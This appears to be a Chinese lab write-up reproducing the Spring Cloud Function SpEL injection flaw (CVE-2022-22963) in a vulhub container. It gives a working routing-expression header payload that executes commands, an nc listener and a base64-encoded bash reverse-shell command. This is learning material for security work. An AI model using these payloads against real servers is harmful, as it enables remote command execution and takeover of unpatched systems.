影响范围

  • Spring Cloud Function 3.0.0 - 3.1.6
  • Spring Cloud Function 3.2.0 - 3.2.2

漏洞类型

SpEL 表达式注入

操作系统限制

配置要求

默认配置

漏洞利用

命令执行,进行反弹 shell,写入木马

利用原理

Spring Cloud Function 引入 RoutingFunction 功能,允许开发者根据特定条件动态将请求分发给不同函数执行,框架允许通过 HTTP Header 来指定路由逻辑。当请求到达时,RoutingFunction 会检查是否存在特定 HTTP 请求头:spring.cloud.function.routing-expression,如果存在该 Header,框架会将其值作为 SpEL 表达式处理,攻击者可以构造恶意 payload 注入到 spring.cloud.function.routing-expression 属性值,服务器处理 POST 请求时候,识别到恶意 payload 就会触发解析,执行恶意命令。POST 请求主体不能为空,若为空,Spring 的 MessageConverter 可能不会触发后续参数绑定和路由解析流程

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2022-22963
#拉取镜像
docker-compose up -d

1773373961506

用 burpsuite 抓取 http://公网: 8080/uppercase 数据包

1773373999475

发送到 Repeater 模块

1773374028579

修改请求类型为 POST,路径改为/functionRouter,将内容类型改为 Content-Type: text/plain,并在内容类型上一行注入恶意代码,创建 /tmp/success,还要在请求主体写入数据,这里填 test

1
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")

1773374058562

返回 500

1773374098488

进入容器查看文件夹 tmp,发现 success 文件,说明成功执行敏感命令

1773374122900

下面尝试进行反弹 shell,开启监听,nc -lvvp 7777

1773374153226

将下面命令替换到原 payload 的 touch /tmp/success

1
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

1773374183055

连接成功,虽然不稳定

1773374207523